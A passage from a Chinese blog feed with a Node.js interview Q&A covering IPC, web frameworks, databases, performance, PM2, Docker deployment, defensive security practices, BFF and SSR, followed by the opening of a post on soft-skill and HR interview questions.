// - CPU 密集计算（图片处理、加密）→ worker_threads
// - 调用外部命令 / 独立子任务 → child_process
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: 进程间通信（IPC）有哪些方式？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. stdio 管道（child_process.spawn 默认）
   父进程 ← stdin/stdout/stderr → 子进程
   
2. IPC 通道（child_process.fork / cluster）
   process.send() / process.on(&apos;message&apos;)
   基于 socket / named pipe
   
3. 信号（Signal）
   process.kill(pid, &apos;SIGTERM&apos;)
   process.on(&apos;SIGTERM&apos;, () =&amp;gt; cleanup())
   
4. 共享内存（worker_threads）
   SharedArrayBuffer + Atomics
   
5. 网络通信（跨机器）
   HTTP / WebSocket / gRPC / TCP
   
6. 消息队列（跨服务）
   Redis Pub/Sub / RabbitMQ / Kafka
   
7. 文件锁 / 命名管道
   适合无亲缘关系进程

Node.js 常用：
- fork() 自带 IPC 通道，最简单
- cluster 内部用 IPC 做进程管理
- PM2 通过 IPC 实现进程监控和零停机重启
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;HTTP 服务器与框架&lt;/h2&gt;
&lt;h3&gt;Q11: Node.js 原生 HTTP 服务器怎么写？⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const http = require(&apos;http&apos;);
const url = require(&apos;url&apos;);

const server = http.createServer((req, res) =&amp;gt; {
  const { pathname, query } = url.parse(req.url, true);

  // 设置 CORS
  res.setHeader(&apos;Access-Control-Allow-Origin&apos;, &apos;*&apos;);
  res.setHeader(&apos;Content-Type&apos;, &apos;application/json; charset=utf-8&apos;);

  // 路由分发
  if (req.method === &apos;GET&apos; &amp;amp;&amp;amp; pathname === &apos;/api/users&apos;) {
    res.writeHead(200);
    res.end(JSON.stringify({ users: [] }));
  } else if (req.method === &apos;POST&apos; &amp;amp;&amp;amp; pathname === &apos;/api/users&apos;) {
    // 读取请求 body（Stream）
    let body = &apos;&apos;;
    req.on(&apos;data&apos;, chunk =&amp;gt; body += chunk);
    req.on(&apos;end&apos;, () =&amp;gt; {
      const data = JSON.parse(body);
      res.writeHead(201);
      res.end(JSON.stringify({ id: 1, ...data }));
    });
  } else {
    res.writeHead(404);
    res.end(JSON.stringify({ error: &apos;Not Found&apos; }));
  }
});

server.listen(3000, () =&amp;gt; console.log(&apos;Server on :3000&apos;));

// 原生 HTTP 的痛点：
// 1. 路由分发要手写 if/else
// 2. body 解析要手动收集 Stream
// 3. 中间件（日志、鉴权、错误处理）没有统一机制
// 4. 静态文件服务要自己实现
// → 所以有 Express / Koa / Fastify / NestJS
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: Express、Koa、Fastify、NestJS 怎么选？⭐⭐ 🔥&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;中间件模型&lt;/th&gt;
&lt;th&gt;性能&lt;/th&gt;
&lt;th&gt;生态&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Express&lt;/td&gt;
&lt;td&gt;线性&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;需 @types&lt;/td&gt;
&lt;td&gt;通用 API、快速原型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Koa&lt;/td&gt;
&lt;td&gt;洋葱模型&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;★★★★&lt;/td&gt;
&lt;td&gt;需 @types&lt;/td&gt;
&lt;td&gt;需要精细控制中间件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fastify&lt;/td&gt;
&lt;td&gt;钩子 + 中间件&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;最快&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;★★★&lt;/td&gt;
&lt;td&gt;内置支持&lt;/td&gt;
&lt;td&gt;高性能 API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NestJS&lt;/td&gt;
&lt;td&gt;洋葱 + DI + 装饰器&lt;/td&gt;
&lt;td&gt;中（基于 Express/Fastify）&lt;/td&gt;
&lt;td&gt;★★★★&lt;/td&gt;
&lt;td&gt;原生 TS&lt;/td&gt;
&lt;td&gt;企业级、大型项目&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Express：最主流，回调风格
const express = require(&apos;express&apos;);
const app = express();
app.use(express.json());                        // 中间件
app.get(&apos;/users/:id&apos;, (req, res) =&amp;gt; {
  res.json({ id: req.params.id });
});
app.use((err, req, res, next) =&amp;gt; {              // 错误处理中间件
  res.status(500).json({ error: err.message });
});
app.listen(3000);

// Koa：洋葱模型（async/await）
const Koa = require(&apos;koa&apos;);
const app = new Koa();
app.use(async (ctx, next) =&amp;gt; {
  const start = Date.now();
  await next();                                  // 执行下游
  ctx.set(&apos;X-Response-Time&apos;, `${Date.now() - start}ms`);
});
app.use(async ctx =&amp;gt; { ctx.body = &apos;Hello&apos;; });
app.listen(3000);

// Fastify：高性能 + Schema 校验
const fastify = require(&apos;fastify&apos;)();
fastify.get(&apos;/users/:id&apos;, {
  schema: {
    params: { type: &apos;object&apos;, properties: { id: { type: &apos;string&apos; } } },
    response: { 200: { type: &apos;object&apos;, properties: { id: { type: &apos;string&apos; } } } }
  }
}, async (req, reply) =&amp;gt; ({ id: req.params.id }));
fastify.listen({ port: 3000 });

// NestJS：装饰器 + 依赖注入 + 模块化
@Controller(&apos;users&apos;)
export class UserController {
  constructor(private readonly userService: UserService) {}

  @Get(&apos;:id&apos;)
  async findOne(@Param(&apos;id&apos;) id: string) {
    return this.userService.findOne(id);
  }
}
// NestJS 底层默认用 Express，可切换到 Fastify
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Koa 洋葱模型详解：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 中间件像洋葱，请求进入时顺序执行，响应返回时逆序执行
app.use(async (ctx, next) =&amp;gt; {
  console.log(&apos;1 进入&apos;);
  await next();
  console.log(&apos;6 返回&apos;);
});
app.use(async (ctx, next) =&amp;gt; {
  console.log(&apos;2 进入&apos;);
  await next();
  console.log(&apos;5 返回&apos;);
});
app.use(async (ctx) =&amp;gt; {
  console.log(&apos;3 处理&apos;);
  ctx.body = &apos;hello&apos;;
  console.log(&apos;4 处理完&apos;);
});

// 输出：1进入 → 2进入 → 3处理 → 4处理完 → 5返回 → 6返回

// 洋葱模型的价值：
// - 日志统计耗时（await next() 前后）
// - 事务管理（await next() 前开启，后提交/回滚）
// - 响应统一包装
// - 错误捕获（try/catch await next()）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;选型建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;快速开发、社区大 → Express&lt;/li&gt;
&lt;li&gt;需要洋葱模型、精细控制 → Koa&lt;/li&gt;
&lt;li&gt;追求极致性能 → Fastify&lt;/li&gt;
&lt;li&gt;企业级、TypeScript、微服务 → NestJS&lt;/li&gt;
&lt;li&gt;BFF 层 / 前端主导 → NestJS 或 Koa&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;数据库与 ORM&lt;/h2&gt;
&lt;h3&gt;Q13: Node.js 连接数据库的方案？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// MySQL
const mysql = require(&apos;mysql2/promise&apos;);
const pool = mysql.createPool({
  host: &apos;localhost&apos;, user: &apos;root&apos;, password: &apos;xxx&apos;,
  database: &apos;test&apos;, waitForConnections: true,
  connectionLimit: 10,                           // 连接池大小
  queueLimit: 0,
});
const [rows] = await pool.execute(&apos;SELECT * FROM users WHERE id = ?&apos;, [1]);

// Redis
const Redis = require(&apos;ioredis&apos;);
const redis = new Redis({ host: &apos;localhost&apos;, port: 6379, db: 0 });
await redis.set(&apos;key&apos;, &apos;value&apos;, &apos;EX&apos;, 3600);     // 1 小时过期
const val = await redis.get(&apos;key&apos;);

// MongoDB
const { MongoClient } = require(&apos;mongodb&apos;);
const client = new MongoClient(&apos;mongodb://localhost:27017&apos;);
await client.connect();
const db = client.db(&apos;test&apos;);
const users = await db.collection(&apos;users&apos;).find({}).toArray();

// ORM 方案
// 1. Prisma（现代、TS 友好、DX 最好）
const { PrismaClient } = require(&apos;@prisma/client&apos;);
const prisma = new PrismaClient();
const user = await prisma.user.findUnique({ where: { id: 1 } });

// 2. TypeORM（装饰器风格，NestJS 默认）
@Entity()
class User {
  @PrimaryGeneratedColumn() id: number;
  @Column() name: string;
}
const user = await repo.findOne({ where: { id: 1 } });

// 3. Sequelize（老牌，功能全）
const User = sequelize.define(&apos;User&apos;, { name: DataTypes.STRING });
const user = await User.findByPk(1);

// 4. Mongoose（MongoDB ODM）
const User = mongoose.model(&apos;User&apos;, new Schema({ name: String }));
const user = await User.findById(id);

// 选型建议：
// - 新项目、TypeScript → Prisma（首推）
// - NestJS 项目 → TypeORM
// - 复杂 SQL、多数据库 → Sequelize
// - MongoDB → Mongoose
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q14: 什么是连接池？为什么需要？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;问题：每次请求都创建/销毁数据库连接
- TCP 三次握手 + 认证 → 每次开销 ~50-100ms
- 数据库连接数有限（MySQL 默认 151）
- 高并发下连接数暴涨 → 数据库崩溃

连接池：预先创建 N 个连接，复用
┌──────────────────────────────┐
│      连接池（Connection Pool）│
│  ┌────┐┌────┐┌────┐┌────┐    │
│  │ C1 ││ C2 ││ C3 ││ C4 │ …  │
│  └────┘└────┘└────┘└────┘    │
└──────────────────────────────┘
       ↑       ↓
   请求获取  用完归还

关键配置：
- connectionLimit：最大连接数（一般 = CPU 核数 × 2 + 磁盘数）
- queueLimit：等待队列长度
- idleTimeout：空闲连接超时回收
- acquireTimeout：获取连接超时

Node.js 各库默认都有连接池：
- mysql2: createPool()
- pg: new Pool()
- Redis: ioredis 内置
- Mongoose: 内置

连接池监控：
- 活跃连接数 / 空闲连接数 / 等待队列长度
- 连接泄漏检测（长时间未归还）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;性能优化&lt;/h2&gt;
&lt;h3&gt;Q15: Node.js 性能优化手段？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. CPU 密集任务处理
   - Worker Threads（首选）
   - 任务队列（Bull / BullMQ + Redis）
   - 微服务拆分（专门的服务处理计算任务）

2. I/O 优化
   - 使用异步 API（fs.promises 而非 fs sync）
   - 连接池（数据库、Redis、HTTP Agent）
   - HTTP Keep-Alive（复用 TCP 连接）
   - 批处理（bulk insert、pipeline）

3. 缓存策略
   - 内存缓存：LRU-Cache / node-cache（进程内，最快）
   - 分布式缓存：Redis（多实例共享）
   - HTTP 缓存：ETag / Last-Modified / Cache-Control
   - 多级缓存：内存 → Redis → 数据库

4. 内存管理
   - 避免大对象（用 Stream 处理大文件）
   - 及时释放引用（避免闭包持有大数据）
   - 监控 V8 堆：process.memoryUsage()
   - 排查内存泄漏：--inspect + Chrome DevTools 拍堆快照

5. 代码层面
   - 避免同步 API（fs.readFileSync 阻塞事件循环）
   - JSON 大对象序列化用 fast-json-stringify（基于 Schema）
   - 正则避免灾难性回溯（用 safe-regex 检查）
   - 减少闭包和函数创建（V8 优化）

6. 部署层面
   - Cluster / PM2 多进程利用多核
   - Docker 容器化 + K8s 水平扩展
   - Nginx 反向代理 + 负载均衡 + 静态资源
   - CDN 加速静态资源
   - Gzip / Brotli 压缩

7. 监控工具
   - clinic.js（诊断 Node.js 性能问题）
   - 0x（火焰图）
   - node --prof（V8 profiler）
   - Prometheus + Grafana（生产监控）
   - APM：New Relic / DataDog / 阿里 ARMS
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 性能分析工具 clinic.js
// 安装：npm i -g clinic
// 使用：
clinic doctor -- node server.js       // 综合诊断
clinic flame -- node server.js        // 火焰图
clinic bubbleprof -- node server.js   // 异步操作分析

// 内存泄漏排查
const v8 = require(&apos;v8&apos;);
const heapStats = v8.getHeapStatistics();
console.log(heapStats);
// {
//   total_heap_size: 20971520,
//   used_heap_size: 15728640,
//   heap_size_limit: 2197815296,   // 默认 ~2GB（64位）
// }

// 手动触发 GC（需启动参数 --expose-gc）
global.gc();

// HTTP Keep-Alive Agent（复用 TCP 连接）
const http = require(&apos;http&apos;);
const agent = new http.Agent({ keepAlive: true, maxSockets: 100 });
http.get({ host: &apos;api.example.com&apos;, agent });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;部署运维&lt;/h2&gt;
&lt;h3&gt;Q16: PM2 是什么？常用命令？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PM2（Process Manager 2）：Node.js 生产环境进程管理器

核心功能：
1. 守护进程（崩溃自动重启）
2. 集群模式（多核负载均衡）
3. 零停机重启（reload）
4. 日志管理（合并、切割）
5. 监控（CPU、内存、重启次数）
6. 开机自启

常用命令：
pm2 start app.js --name myapp         # 启动
pm2 start app.js -i max               # 集群模式（max = CPU 核数）
pm2 list                              # 查看所有进程
pm2 logs myapp                        # 查看日志
pm2 monit                             # 实时监控面板
pm2 restart myapp                     # 重启（有短暂中断）
pm2 reload myapp                      # 零停机重启（滚动更新）
pm2 stop myapp                        # 停止
pm2 delete myapp                      # 删除
pm2 save                              # 保存进程列表
pm2 startup                           # 生成开机自启脚本

配置文件（ecosystem.config.js）：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;module.exports = {
  apps: [{
    name: &apos;myapp&apos;,
    script: &apos;./dist/main.js&apos;,
    instances: &apos;max&apos;,                    // 集群数（max = CPU 核数）
    exec_mode: &apos;cluster&apos;,                // 集群模式
    env: {
      NODE_ENV: &apos;production&apos;,
      PORT: 3000,
    },
    max_memory_restart: &apos;1G&apos;,            // 内存超限自动重启
    error_file: &apos;./logs/err.log&apos;,
    out_file: &apos;./logs/out.log&apos;,
    merge_logs: true,
    log_date_format: &apos;YYYY-MM-DD HH:mm:ss&apos;,
    // 优雅关闭
    kill_timeout: 5000,
    wait_ready: true,                    // 等待 process.send(&apos;ready&apos;)
    listen_timeout: 10000,
  }],
};

// 应用中：
process.send(&apos;ready&apos;);                   // 通知 PM2 应用就绪
process.on(&apos;SIGINT&apos;, () =&amp;gt; {             // 优雅关闭
  server.close(() =&amp;gt; process.exit(0));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q17: Node.js Docker 部署最佳实践？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 多阶段构建（镜像最小化）

# 阶段 1：构建
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production              # 只装生产依赖
COPY . .
RUN npm run build                         # TS 编译 / 打包

# 阶段 2：运行
FROM node:20-alpine
WORKDIR /app

# 安全：不用 root 用户
RUN addgroup -g 1001 -S nodejs &amp;amp;&amp;amp; \
    adduser -S nodejs -u 1001

# 只复制构建产物和生产依赖
COPY --from=builder --chown=nodejs:nodejs /app/dist ./dist
COPY --from=builder --chown=nodejs:nodejs /app/node_modules ./node_modules
COPY --from=builder --chown=nodejs:nodejs /app/package.json ./

USER nodejs
EXPOSE 3000

# 健康检查
HEALTHCHECK --interval=30s --timeout=3s \
  CMD wget --quiet --tries=1 --spider http://localhost:3000/health || exit 1

# 用 node 直接启动（不用 npm start，让 Node 成为 PID 1，接收 SIGTERM）
CMD [&quot;node&quot;, &quot;dist/main.js&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# docker-compose.yml
version: &apos;3.8&apos;
services:
  app:
    build: .
    ports: [&quot;3000:3000&quot;]
    environment:
      - NODE_ENV=production
      - DATABASE_URL=postgres://user:pass@db:5432/app
    depends_on: [db, redis]
    restart: unless-stopped
  db:
    image: postgres:16-alpine
    volumes: [pgdata:/var/lib/postgresql/data]
  redis:
    image: redis:7-alpine
volumes:
  pgdata:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键实践：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;基础镜像&lt;/strong&gt;：用 alpine（~150MB）而非默认（~900MB）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多阶段构建&lt;/strong&gt;：构建工具不进最终镜像&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不用 root&lt;/strong&gt;：创建专用用户&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;健康检查&lt;/strong&gt;：K8s / Docker 依赖它判断服务状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优雅关闭&lt;/strong&gt;：处理 SIGTERM，先停止接受新请求，等现有请求完成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PID 1 问题&lt;/strong&gt;：用 &lt;code&gt;node&lt;/code&gt; 直接启动，或用 &lt;code&gt;tini&lt;/code&gt; 作为 init&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置外置&lt;/strong&gt;：环境变量 / ConfigMap，不打进镜像&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;安全&lt;/h2&gt;
&lt;h3&gt;Q18: Node.js 常见安全风险与防护？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 依赖漏洞
   - npm audit / snyk / socket.dev 扫描
   - 定期更新（npm-check-updates）
   - lock 文件提交，防止 CI 装到不同版本

2. XSS（服务端渲染场景）
   - 转义用户输入（用模板引擎默认转义，别关闭）
   - CSP 响应头（helmet.contentSecurityPolicy）
   - 富文本用 sanitize-html / DOMPurify

3. SQL 注入
   - 参数化查询（?占位符），永远别拼字符串
   - 用 ORM（Prisma/TypeORM 默认参数化）

4. CSRF
   - SameSite Cookie
   - CSRF Token（csurf 中间件）
   - 验证 Origin / Referer

5. 敏感信息泄漏
   - 生产环境不返回 stack trace
   - .env 文件不进 Git（.gitignore）
   - 日志脱敏（手机号、身份证、密码）
   - 错误响应不暴露内部信息

6. HTTP 安全头（helmet 一键搞定）
   const helmet = require(&apos;helmet&apos;);
   app.use(helmet());
   // 自动设置：
   // - X-Content-Type-Options: nosniff
   // - X-Frame-Options: SAMEORIGIN
   // - Strict-Transport-Security
   // - Content-Security-Policy
   // - X-XSS-Protection

7. 速率限制（防 DDoS / 暴力破解）
   const rateLimit = require(&apos;express-rate-limit&apos;);
   app.use(&apos;/api/&apos;, rateLimit({ windowMs: 15*60*1000, max: 100 }));

8. 请求体大小限制（防内存耗尽）
   app.use(express.json({ limit: &apos;1mb&apos; }));

9. 原型污染
   - 避免直接 Object.assign({}, JSON.parse(userInput))
   - 用 lodash.merge 前先看 CVE，或换 defu / merge-deep
   - 校验 __proto__ / constructor / prototype 键

10. SSRF（服务端请求伪造）
    - 用户传入 URL 时白名单校验
    - 禁止内网 IP（10.x / 192.168.x / 127.x）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;生态与工具&lt;/h2&gt;
&lt;h3&gt;Q19: Node.js 常见工具库？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HTTP 客户端：
- axios（最流行，Promise API）
- node-fetch（fetch API 兼容）
- got（功能强大，重试、hooks）
- undici（Node 官方，最快，fetch 内置实现）

参数校验：
- zod（TS 友好，运行时校验 + 类型推断）
- joi（功能全，Schema 声明式）
- yup（前端也用，Formik 搭配）
- class-validator（NestJS 默认，装饰器风格）

日志：
- pino（性能最好，JSON 格式）
- winston（灵活，多 transport）
- consola（美观，Nuxt 默认）

任务队列：
- bull / bullmq（Redis 后端，最流行）
- agenda（MongoDB 后端）
- bee-queue（轻量 Redis）

定时任务：
- node-cron（Cron 表达式）
- node-schedule（更灵活）

工具库：
- lodash（工具函数）
- dayjs（日期，moment 替代品）
- uuid（生成唯一 ID）
- dotenv（.env 加载）

TypeScript 支持：
- ts-node（直接运行 TS）
- tsx（更快，基于 esbuild）
- @types/node（Node API 类型）

打包与发布：
- esbuild（极快，打包 CLI 工具）
- tsup（基于 esbuild 的库打包）
- pkg / nexe（打包成单文件可执行）
- ncc（@vercel/ncc，打包成单文件）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战场景&lt;/h2&gt;
&lt;h3&gt;Q20: 如何用 Node.js 实现 BFF 层？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;BFF（Backend For Frontend）价值：
- 接口聚合（多微服务 → 一个前端接口）
- 数据裁剪（只返回前端需要的字段）
- 适配多端（Web / App / 小程序不同结构）
- 缓冲层（后端变更时 BFF 消化差异）
- SSR（服务端渲染）

NestJS 实现 BFF：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// user.controller.ts
@Controller(&apos;bff&apos;)
export class BffController {
  constructor(
    private userService: UserService,
    private orderService: OrderService,
    private productService: ProductService,
  ) {}

  // 首页聚合接口：一次请求拿到用户信息 + 订单 + 推荐商品
  @Get(&apos;home&apos;)
  async getHomeData(@Req() req) {
    const userId = req.user.id;

    // 并行调用多个下游服务（Promise.all）
    const [user, orders, recommendations] = await Promise.all([
      this.userService.getProfile(userId),
      this.orderService.getRecentOrders(userId, 5),
      this.productService.getRecommendations(userId, 10),
    ]);

    // 数据裁剪 + 格式化
    return {
      user: {
        name: user.name,
        avatar: user.avatarUrl,
        level: user.vipLevel,
        // 不返回敏感信息（手机号、身份证、地址）
      },
      orders: orders.map(o =&amp;gt; ({
        id: o.id,
        title: o.items[0].name,
        status: o.status,
        // 不返回详细的物流、发票等信息
      })),
      products: recommendations.map(p =&amp;gt; ({
        id: p.id,
        title: p.title,
        price: p.price,
        image: p.images[0],
      })),
    };
  }
}

// BFF 关键实践：
// 1. 并行请求（Promise.all）而非串行
// 2. 超时控制（Promise.race + timeout）
// 3. 降级策略（某个下游挂了返回兜底数据）
// 4. 缓存（Redis 缓存聚合结果，短 TTL）
// 5. 类型共享（前后端共用 DTO 类型）
// 6. 错误统一处理（下游错误转前端友好提示）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q21: Node.js 如何做 SSR？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 最简单的 SSR（原生 HTTP + Vue）
const { createSSRApp } = require(&apos;vue&apos;);
const { renderToString } = require(&apos;vue/server-renderer&apos;);
const http = require(&apos;http&apos;);

http.createServer(async (req, res) =&amp;gt; {
  const app = createSSRApp({
    data: () =&amp;gt; ({ message: &apos;Hello SSR&apos; }),
    template: &apos;&amp;lt;div&amp;gt;{{ message }}&amp;lt;/div&amp;gt;&apos;,
  });
  const html = await renderToString(app);
  res.end(`
    &amp;lt;!DOCTYPE html&amp;gt;
    &amp;lt;html&amp;gt;
      &amp;lt;body&amp;gt;
        &amp;lt;div id=&quot;app&quot;&amp;gt;${html}&amp;lt;/div&amp;gt;
        &amp;lt;script src=&quot;/client.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
      &amp;lt;/body&amp;gt;
    &amp;lt;/html&amp;gt;
  `);
}).listen(3000);

// 现代 SSR 框架：
// - Next.js（React）：文件路由 + SSR/SSG/ISR + API Routes
// - Nuxt 3（Vue）：文件路由 + SSR/SSG + Server API
// - Astro：SSG 为主 + 岛屿架构（局部 hydration）
// - Remix：SSR + Web 标准 + 嵌套路由

// SSR 关键问题：
// 1. 数据获取：服务端预取（getServerSideProps / useFetch）
// 2. 状态脱水/注水：服务端 state → HTML → 客户端 hydration
// 3. 环境判断：typeof window === &apos;undefined&apos; 区分服务端
// 4. 内存泄漏：服务端不能持有请求级数据到全局
// 5. 性能：缓存渲染结果、流式 SSR、部分 hydration
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Node.js 特点&lt;/strong&gt;：单线程 + 非阻塞 I/O + 事件驱动，适合 I/O 密集&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;：V8（执行 JS）+ libuv（异步 I/O）+ C++ Bindings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高并发原理&lt;/strong&gt;：事件循环 + libuv 线程池，主线程不阻塞&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CJS vs ESM&lt;/strong&gt;：运行时同步拷贝 vs 编译时静态引用；ESM 支持顶层 await 和 Tree Shaking&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;循环依赖&lt;/strong&gt;：Node 返回不完整 exports，需重构避免&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件循环六阶段&lt;/strong&gt;：timers → pending → poll → check → close；nextTick &amp;gt; Promise &amp;gt; setTimeout&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Buffer&lt;/strong&gt;：二进制容器，堆外内存，alloc/from/concat/slice&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stream 四类&lt;/strong&gt;：Readable / Writable / Duplex / Transform；pipe 处理背压；pipeline 更安全&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多核利用&lt;/strong&gt;：cluster（Web 服务）/ worker_threads（CPU 密集）/ child_process（外部命令）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;框架选型&lt;/strong&gt;：Express 通用 / Koa 洋葱 / Fastify 性能 / NestJS 企业级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Koa 洋葱模型&lt;/strong&gt;：await next() 前后逻辑对称，用于日志、事务、错误处理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据库&lt;/strong&gt;：Prisma（现代首选）/ TypeORM（NestJS）/ Sequelize / Mongoose&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接池&lt;/strong&gt;：预创建连接复用，避免频繁握手，注意连接泄漏&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：Stream 处理大文件 + 缓存（内存/Redis）+ 多进程 + 异步 API + 监控（clinic.js）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PM2&lt;/strong&gt;：集群模式 + 零停机 reload + 日志管理 + 监控&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker 部署&lt;/strong&gt;：多阶段构建 + alpine + 非 root 用户 + 健康检查 + 优雅关闭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全&lt;/strong&gt;：helmet + rate limit + 参数化查询 + 依赖审计 + 请求体大小限制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BFF 实践&lt;/strong&gt;：接口聚合 + 数据裁剪 + 并行调用 + 降级 + 缓存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSR&lt;/strong&gt;：Next.js / Nuxt / Astro；数据脱水注水 + 环境判断 + 内存泄漏防范&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
掌握 Node.js 全栈能力后，如果想进一步了解资深前端在双栈选型、图形渲染、Hybrid 硬件跨端与 AI 研发上的实战思考，请继续阅读扩展专题：&lt;a href=&quot;/blog/posts/interview-guide-20-frontend-core-qa/&quot;&gt;资深前端核心能力问答&lt;/a&gt;（24 问覆盖 React/Vue 双栈、Next.js SSR、Konva/Three.js、N-API、工程化性能与 AI 协作流）。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node.js 学习延伸&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;官方文档：https://nodejs.org/docs/latest/api/&lt;/li&gt;
&lt;li&gt;Node.js 设计模式（书）&lt;/li&gt;
&lt;li&gt;《Node.js 调试指南》&lt;/li&gt;
&lt;li&gt;NestJS 官方文档（企业级最佳实践）&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>软素质与 HR 面（技术之外的必考环节）</title><link>http://117.72.32.87/blog/posts/interview-guide-18-soft-skills/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-18-soft-skills/</guid><description>讲解自我介绍、项目难点挖掘、STAR 表述、离职原因、职业规划、薪资谈判、反问环节、压力面应对等非技术面试环节。</description><pubDate>Wed, 16 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 18 道软素质与 HR 面必考题。技术过硬但沟通表达差、职业规划不清、离职原因说不清，同样会被拒。这部分是&quot;锦上添花&quot;，也是&quot;一票否决&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;自我介绍&lt;/h2&gt;
&lt;h3&gt;Q1: 请做一个自我介绍 ⭐ 🔥&lt;/h3&gt;
